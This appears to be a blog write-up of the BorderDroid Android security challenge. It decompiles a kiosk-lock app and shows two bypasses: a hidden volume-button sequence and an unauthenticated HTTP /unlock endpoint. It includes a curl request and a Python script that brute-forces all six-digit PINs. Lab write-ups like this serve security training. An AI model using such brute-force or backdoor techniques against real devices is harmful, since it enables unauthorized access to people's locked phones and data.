← Back to list

BorderDroid-Challenge-8KSEC

Description

Mohamed Ayman · 2026-03-05 13:13 · 1 claps · 8.9 min read
#penetration-testing #8ksec #android-pentesting
Open on Medium ↗
Wiki topics: 🔒 · Cybersecurity

BorderDroid-Challenge-8KSEC

Description

Crossing international borders as a highly targeted individual? BorderDroid provides the ultimate protection against unauthorized device seizures and searches. With our advanced security system, your sensitive data remains completely hidden from prying eyes. At the press of a button, BorderDroid activates a secure kiosk mode with a convincing but impossible-to-unlock interface that reveals nothing about your actual device contents.

BorderDroid’s proprietary lockout system ensures that after multiple failed attempts, all sensitive traces of the product are automatically wiped, leaving no trace for unauthorized parties. You can also download our APK from our military-grade servers for installation on custom devices with minimal effort. The intuitive dashboard lets you control security features with ease, while our secret emergency exit protocol allows only you to regain access. With BorderDroid, maintain complete digital sovereignty even in high-pressure border crossing scenarios.

Objective

You are a Border Control agent who has intercepted a potential hacker based on their suspicious activity on the airport WiFi network. Your team has detained the suspect, but their device is locked using BorderDroid’s advanced protection system. Intelligence suggests critical evidence is stored on this device. When the device was seized, it was still connected to the insecure airport WiFi network. Your mission is to find a way to bypass BorderDroid’s security mechanisms.

Successfully completing this challenge demonstrates a critical security flaw in BorderDroid that could be exploited by law enforcement to access protected devices during legitimate investigations, while also highlighting a vulnerability that malicious actors could potentially exploit.

Restrictions

The attack should not require root permissions on the device. USB debugging enabled can be used for reconnaissance, but to make it realistic, the challenge solution should stick to “non USB attacks” for this challenge. All other “channels” are fair game. Just as in the real world, chances of it so USB is not an avenue to be used for the attack. Also, using the hardcoded secret to solve the challenge is not a correct way to solve the challenge.

Exploring the Application:

When the application is launched it open on Accessibility settings screen which can from it user allow the kiosk mode which is Android feature that locks a device into a single app (or a limited set of apps) so the user cannot leave it or access other parts of the system.

Kiosk Control is off

Kiosk Control is off

Kiosk Control on

Kiosk Control on

when the kiosk control is enabled, application open on the dashboard screen to allow user to set 6 digits pin.

After Setting the 6 digits pin, The user can now use the start security function to enable the kiosk mode

when pressing the start security button the user enters the kiosk mode and the device is locked and even if the user enters the correct 6 digits the application says wrong pin.

Analyzing the Manifest.xml

<application android:theme="@style/Theme.BorderDroid" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:allowBackup="true" android:supportsRtl="true" android:extractNativeLibs="false" android:fullBackupContent="@xml/backup_rules" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:dataExtractionRules="@xml/data_extraction_rules">
        <activity android:theme="@style/Theme.AppCompat.NoActionBar" android:name="com.eightksec.borderdroid.SplashActivity" android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <activity android:name="com.eightksec.borderdroid.PinEntryActivity" android:exported="false" android:windowSoftInputMode="adjustResize|stateVisible"/>
        <activity android:name="com.eightksec.borderdroid.DashboardActivity" android:exported="false" android:launchMode="singleTop"/>
        <activity android:name="com.eightksec.borderdroid.NothingHereActivity" android:exported="false" android:excludeFromRecents="true" android:launchMode="singleTask"/>
        <activity android:theme="@style/Theme.AppCompat.NoActionBar" android:name="com.eightksec.borderdroid.WipeTimerActivity" android:exported="false" android:excludeFromRecents="true" android:launchMode="singleTask"/>
        <activity android:theme="@style/Theme.AppCompat.Dialog" android:name="com.eightksec.borderdroid.CountdownTimerActivity" android:exported="false"/>
        <activity android:name="com.eightksec.borderdroid.YouAreSecureActivity" android:exported="false" android:launchMode="singleTask" android:lockTaskMode="if_whitelisted"/>
        <service android:label="@string/accessibility_service_label" android:name="com.eightksec.borderdroid.service.KioskAccessibilityService" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE" android:exported="false">

Method 1 bypass:

During analyzing the activity com.eightksec.borderdroid.YouAreSecureActivity a bypass method was discovered using a backdoor leaved by the developer.

public class YouAreSecureActivity extends AppCompatActivity {
    private static final int PIN_LENGTH = 6;
    private static final long SEQUENCE_TIMEOUT_MS = 2000;
    private static final String TAG = "YouAreSecureActivity";
    private static final int VOL_DOWN = 25;
    private static final int VOL_UP = 24;
    private BroadcastReceiver mReceiver;
    private LinearLayout pinDotsLayout;
    private Runnable volumeSequenceTimeout;
    private TextView wrongPinText;
    private StringBuilder enteredPin = new StringBuilder();
    private List<Integer> volumeSequence = new ArrayList();
    private final List<Integer> targetSequence = YouAreSecureActivity$$ExternalSyntheticBackport0.m(24, 25, 24, 25);
    private Handler volumeSequenceHandler = new Handler(Looper.getMainLooper());

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        getWindow().getDecorView().setSystemUiVisibility(5894);
        setContentView(R.layout.activity_you_are_secure);
        this.wrongPinText = (TextView) findViewById(R.id.wrong_pin_text);
        this.pinDotsLayout = (LinearLayout) findViewById(R.id.pin_dots_layout);
        GridLayout gridLayout = (GridLayout) findViewById(R.id.numpad_grid);
        Button button = (Button) findViewById(R.id.emergency_call_button);
        TextView textView = (TextView) findViewById(R.id.date_text);
        try {
            textView.setText(new SimpleDateFormat("EEE, MMM d", Locale.getDefault()).format(new Date()));
        } catch (Exception unused) {
            textView.setText("-");
        }
        setupNumpad(gridLayout);
        button.setOnClickListener(new View.OnClickListener() { // from class: com.eightksec.borderdroid.YouAreSecureActivity$$ExternalSyntheticLambda2
            @Override // android.view.View.OnClickListener
            public final void onClick(View view) {
                YouAreSecureActivity.this.m88lambda$onCreate$0$comeightksecborderdroidYouAreSecureActivity(view);
            }
        });
        updatePinDots();
        setKioskState(true);
        try {
            startLockTask();
        } catch (Exception unused2) {
            ModernToast.showError(this, "Lock Task Mode Failed", 0);
        }
        this.mReceiver = new RemoteTriggerReceiver();
        IntentFilter intentFilter = new IntentFilter(RemoteTriggerReceiver.ACTION_PERFORM_REMOTE_TRIGGER);
        if (Build.VERSION.SDK_INT >= 33) {
            registerReceiver(this.mReceiver, intentFilter, 2);
        } else {
            registerReceiver(this.mReceiver, intentFilter);
        }
    }

no validation is done on the 6 digits pin settled by the user, the application is leaving a back door for the application to unlock.

private static final int VOL_DOWN = 25;
private static final int VOL_UP = 24;

The volume up button and the volume down button will have numbers 24 and 25 which when used in specific sequence will unlock the kiosk mode and the user will be directed to the dashboard activity.

private final List<Integer> targetSequence = YouAreSecureActivity$$ExternalSyntheticBackport0.m(24, 25, 24, 25);

The sequence is 24,25,24,25 which is volume up , volume down , volume up , volume down. Within SEQUENCE_TIMEOUT_MS = 2000 (2 seconds) and this sequence is checked in the function below.

    private void checkVolumeSequence() {
        while (this.volumeSequence.size() > this.targetSequence.size()) {
            Log.d(TAG, "Trimming volume sequence (unexpectedly long). Old: " + this.volumeSequence.toString());
            this.volumeSequence.remove(0);
        }
        if (this.volumeSequence.equals(this.targetSequence)) {
            Log.i(TAG, "Target volume sequence DETECTED! Unlocking.");
            this.volumeSequence.clear();
            Runnable runnable = this.volumeSequenceTimeout;
            if (runnable != null) {
                this.volumeSequenceHandler.removeCallbacks(runnable);
            }
            unlockAndReturnToDashboard();
        } else if (this.volumeSequence.size() == this.targetSequence.size()) {
            Log.d(TAG, "Volume sequence full but incorrect. Pruning first element. Seq: " + this.volumeSequence.toString());
            this.volumeSequence.remove(0);
        }
    }

    private void unlockAndReturnToDashboard() {
        try {
            Log.i(TAG, "Stopping lock task due to volume sequence.");
            stopLockTask();
        } catch (Exception e) {
            Log.e(TAG, "Failed to stop lock task during unlock", e);
        }
        Log.i(TAG, "Disabling kiosk state and stopping HTTP service.");
        setKioskState(false);
        Log.i(TAG, "Navigating back to DashboardActivity.");
        Intent intent = new Intent(this, DashboardActivity.class);
        intent.addFlags(603979776);
        startActivity(intent);
        finish();
    }

So , this sequence will unlock the device and the user will be redirected to the dashboard screen.

Method 2 bypass:

While analyzing the activity, an intent found that is used for broadcast receiver.

this.mReceiver = new RemoteTriggerReceiver();
registerReceiver(this.mReceiver, intentFilter);

And this intent is exported true in the manifest which may allow remote unlock trigger, privilege escalation or external intent abuse.

<receiver android:name="com.eightksec.borderdroid.receiver.RemoteTriggerReceiver" android:enabled="true" android:exported="true">

            <intent-filter>

                <action android:name="com.eightksec.borderdroid.ACTION_PERFORM_REMOTE_TRIGGER"/>

            </intent-filter>

        </receiver>

During analyzing an unlock class for the http service was discovered.

Intent intent = new Intent(this, HttpUnlockService.class);
startForegroundService(intent);

By analyzing the HttpUnlockService class, this service:

  • Runs in foreground
  • Starts an embedded HTTP server
  • Listens on port 8080
  • Accepts POST requests to /unlock
  • Extracts a "pin" from JSON body
  • Sends a broadcast internally to trigger unlock
package com.eightksec.borderdroid.service;

import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import android.os.IBinder;
import android.util.Log;
import androidx.core.app.NotificationCompat;
import androidx.core.view.accessibility.AccessibilityEventCompat;
import com.eightksec.borderdroid.DashboardActivity;
import com.eightksec.borderdroid.PinStorage;
import com.eightksec.borderdroid.R;
import com.eightksec.borderdroid.receiver.RemoteTriggerReceiver;
import fi.iki.elonen.NanoHTTPD;
import java.io.IOException;
import java.util.HashMap;
import org.json.JSONException;
import org.json.JSONObject;

/* loaded from: classes.dex */
public class HttpUnlockService extends Service {
    public static final String ACTION_STOP_KIOSK = "com.eightksec.borderdroid.ACTION_STOP_KIOSK_ENFORCEMENT";
    private static final String NOTIFICATION_CHANNEL_ID = "HttpUnlockServiceChannel";
    private static final int NOTIFICATION_ID = 1;
    private static final int SERVER_PORT = 8080;
    private static final String TAG = "HttpUnlockService";
    private WebServer server;

    @Override // android.app.Service
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override // android.app.Service
    public void onCreate() {
        super.onCreate();
        createNotificationChannel();
        this.server = new WebServer(this);
    }

    @Override // android.app.Service
    public int onStartCommand(Intent intent, int i, int i2) {
        startForeground(1, new NotificationCompat.Builder(this, NOTIFICATION_CHANNEL_ID).setContentTitle("BorderDroid Kiosk Control").setContentText("Remote Unlock Listener Active").setSmallIcon(R.drawable.ic_launcher_foreground).setContentIntent(PendingIntent.getActivity(this, 0, new Intent(this, DashboardActivity.class), AccessibilityEventCompat.TYPE_VIEW_TARGETED_BY_SCROLL)).setOngoing(true).build());
        try {
            if (!this.server.isAlive()) {
                this.server.start(NanoHTTPD.SOCKET_READ_TIMEOUT, false);
            }
        } catch (IOException unused) {
            stopSelf();
        }
        return 1;
    }

    @Override // android.app.Service
    public void onDestroy() {
        super.onDestroy();
        WebServer webServer = this.server;
        if (webServer != null) {
            webServer.stop();
        }
        stopForeground(true);
    }

    private void createNotificationChannel() {
        if (Build.VERSION.SDK_INT >= 26) {
            NotificationChannel notificationChannel = new NotificationChannel(NOTIFICATION_CHANNEL_ID, "HTTP Unlock Service Channel", 2);
            NotificationManager notificationManager = (NotificationManager) getSystemService(NotificationManager.class);
            if (notificationManager != null) {
                notificationManager.createNotificationChannel(notificationChannel);
            }
        }
    }

    /* loaded from: classes.dex */
    private static class WebServer extends NanoHTTPD {
        private Context context;
        private PinStorage pinStorage;

        public WebServer(Context context) {
            super(HttpUnlockService.SERVER_PORT);
            this.context = context.getApplicationContext();
            this.pinStorage = new PinStorage();
        }

        @Override // fi.iki.elonen.NanoHTTPD
        public NanoHTTPD.Response serve(NanoHTTPD.IHTTPSession iHTTPSession) {
            String str;
            NanoHTTPD.Response.Status status = NanoHTTPD.Response.Status.OK;
            if (NanoHTTPD.Method.POST.equals(iHTTPSession.getMethod()) && "/unlock".equalsIgnoreCase(iHTTPSession.getUri())) {
                try {
                    HashMap hashMap = new HashMap();
                    iHTTPSession.parseBody(hashMap);
                    String str2 = hashMap.get("postData");
                    if (str2 == null || str2.isEmpty()) {
                        str = "Error: Empty or unparseable request body. Send JSON with 'pin'.";
                        status = NanoHTTPD.Response.Status.BAD_REQUEST;
                    } else {
                        str = "";
                    }
                    if (status == NanoHTTPD.Response.Status.OK && str2 != null) {
                        String optString = new JSONObject(str2).optString("pin", null);
                        if (optString != null) {
                            broadcastVulnerableUnlockIntentWithPin(optString);
                            str = "Unlock attempt initiated (vulnerable pathway).";
                            status = NanoHTTPD.Response.Status.OK;
                        } else {
                            str = "Error: Missing 'pin' in JSON body.";
                            status = NanoHTTPD.Response.Status.BAD_REQUEST;
                        }
                    }
                } catch (NanoHTTPD.ResponseException | IOException unused) {
                    status = NanoHTTPD.Response.Status.INTERNAL_ERROR;
                    str = "Error: Failed to read request body or socket error.";
                } catch (JSONException unused2) {
                    status = NanoHTTPD.Response.Status.BAD_REQUEST;
                    str = "Error: Invalid JSON format.";
                } catch (Exception e) {
                    Log.e(HttpUnlockService.TAG, "Unexpected error serving request", e);
                    status = NanoHTTPD.Response.Status.INTERNAL_ERROR;
                    str = "Error: Internal server error.";
                }
            } else {
                Log.w(HttpUnlockService.TAG, "Received request for unsupported method/URI: " + iHTTPSession.getMethod() + " " + iHTTPSession.getUri());
                status = NanoHTTPD.Response.Status.NOT_FOUND;
                str = "Error: Unsupported request. Use POST to /unlock.";
            }
            return newFixedLengthResponse(status, NanoHTTPD.MIME_PLAINTEXT, str);
        }

        private void broadcastVulnerableUnlockIntentWithPin(String str) {
            Intent intent = new Intent(RemoteTriggerReceiver.ACTION_PERFORM_REMOTE_TRIGGER);
            intent.putExtra(RemoteTriggerReceiver.EXTRA_TRIGGER_PIN, str);
            intent.setClassName(this.context, RemoteTriggerReceiver.class.getName());
            this.context.sendBroadcast(intent);
            Log.i(HttpUnlockService.TAG, "Broadcast sent for remote trigger: " + intent.getAction());
        }
    }
}

To exploit this we must analyze the RemoteTriggerReceiver.

package com.eightksec.borderdroid.receiver;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.os.Handler;
import android.util.Log;
import android.widget.Toast;
import androidx.localbroadcastmanager.content.LocalBroadcastManager;
import com.eightksec.borderdroid.DashboardActivity;
import com.eightksec.borderdroid.PinStorage;
import com.eightksec.borderdroid.service.HttpUnlockService;

/* loaded from: classes.dex */
public class RemoteTriggerReceiver extends BroadcastReceiver {
    public static final String ACTION_PERFORM_REMOTE_TRIGGER = "com.eightksec.borderdroid.ACTION_PERFORM_REMOTE_TRIGGER";
    public static final String EXTRA_TRIGGER_PIN = "com.eightksec.borderdroid.EXTRA_TRIGGER_PIN";
    private static final String TAG = "RemoteTrigger";

    @Override // android.content.BroadcastReceiver
    public void onReceive(Context context, Intent intent) {
        String stringExtra;
        if (!ACTION_PERFORM_REMOTE_TRIGGER.equals(intent.getAction()) || (stringExtra = intent.getStringExtra(EXTRA_TRIGGER_PIN)) == null || stringExtra.isEmpty()) {
            return;
        }
        try {
            if (new PinStorage().verifyPin(context, stringExtra)) {
                performUnlockActions(context);
                return;
            }
            Bundle extras = intent.getExtras();
            if (extras != null) {
                for (String str : extras.keySet()) {
                }
            }
        } catch (Exception unused) {
        }
    }

    private void performUnlockActions(final Context context) {
        Log.i(TAG, "Executing performUnlockActions...");
        new Handler(context.getMainLooper()).post(new Runnable() { // from class: com.eightksec.borderdroid.receiver.RemoteTriggerReceiver$$ExternalSyntheticLambda0
            @Override // java.lang.Runnable
            public final void run() {
                RemoteTriggerReceiver.lambda$performUnlockActions$0(context);
            }
        });
    }

    /* JADX INFO: Access modifiers changed from: package-private */
    public static /* synthetic */ void lambda$performUnlockActions$0(Context context) {
        Toast.makeText(context, "Remote Action Triggered (PIN OK)", 1).show();
        context.getSharedPreferences("kiosk_state", 0).edit().putBoolean("is_kiosk_active", false).apply();
        LocalBroadcastManager.getInstance(context).sendBroadcast(new Intent(HttpUnlockService.ACTION_STOP_KIOSK));
        Log.d(TAG, "Sent local broadcast to stop kiosk enforcement: com.eightksec.borderdroid.ACTION_STOP_KIOSK_ENFORCEMENT");
        Log.i(TAG, "Requesting stop of HttpUnlockService from RemoteTriggerReceiver.");
        context.stopService(new Intent(context, HttpUnlockService.class));
        Intent intent = new Intent(context, DashboardActivity.class);
        intent.addFlags(872415232);
        context.startActivity(intent);
        Log.i(TAG, "Finished executing unlock actions within Handler.");
    }
}

From Analysis:

  1. It Checks Action + PIN
if (!ACTION_PERFORM_REMOTE_TRIGGER.equals(intent.getAction())
    || (stringExtra = intent.getStringExtra(EXTRA_TRIGGER_PIN)) == null
    || stringExtra.isEmpty()) {
    return;
}
  1. PIN Verification
if (new PinStorage().verifyPin(context, stringExtra)) {
    performUnlockActions(context);
}

So, to exploit this we need to send post request. But we will first need to forward the traffic on our device:

adb forward tcp:8080 tcp:8080
curl -X POST http://127.0.0.1:8080/unlock -H "Content-Type: application/json" --data-binary "{\"pin\":\"123456\"}"

back to dashboard

back to dashboard

we don’t know the correct pin and we will have to brute force on the pin to unlock the device. This python script below will brute force on pin to get the correct one and unlock the device.

import requests
import time
import random

# Configuration
HOST = "127.0.0.1"
PORT = 8080
UNLOCK_URL = f"http://{HOST}:{PORT}/unlock"

# Delay range between attempts (random)
MIN_PAUSE = 0.6
MAX_PAUSE = 1.2

def attempt_unlock(pin_code):
    """
    Send a single unlock attempt with the given PIN.
    Returns True only if the connection fails (indicating the kiosk just unlocked).
    """
    formatted_pin = str(pin_code).zfill(6)
    payload = {"pin": formatted_pin}
    try:
        response = requests.post(UNLOCK_URL, json=payload, timeout=10)
        # If we get here, the request succeeded – kiosk is still locked
        return False
    except requests.exceptions.RequestException:
        # Connection failed – likely because the kiosk unlocked after the previous PIN
        # We print the PIN that actually worked (the one before this failed request)
        print(f"\n[!] Kiosk unlocked! Correct PIN: {str(pin_code - 1).zfill(6)}")
        return True

def launch_attack():
    """Main loop: tries all 6-digit PINs until success."""
    for candidate in range(1000000):  # 0 to 999999
        if attempt_unlock(candidate):
            break   # stop once we've unlocked
        time.sleep(random.uniform(MIN_PAUSE, MAX_PAUSE))
    else:
        print("[-] No PIN worked – all combinations exhausted.")

if __name__ == "__main__":
    launch_attack()

메타데이터
post_id
f998df989962
slug
borderdroid-challenge-8ksec-f998df989962
url
https://medium.com/@mohamed900ayman/borderdroid-challenge-8ksec-f998df989962
canonical_url
https://medium.com/@mohamed900ayman/borderdroid-challenge-8ksec-f998df989962
author_url
https://medium.com/@mohamed900ayman
status
ok
fetched_at
2026-06-22 07:15:07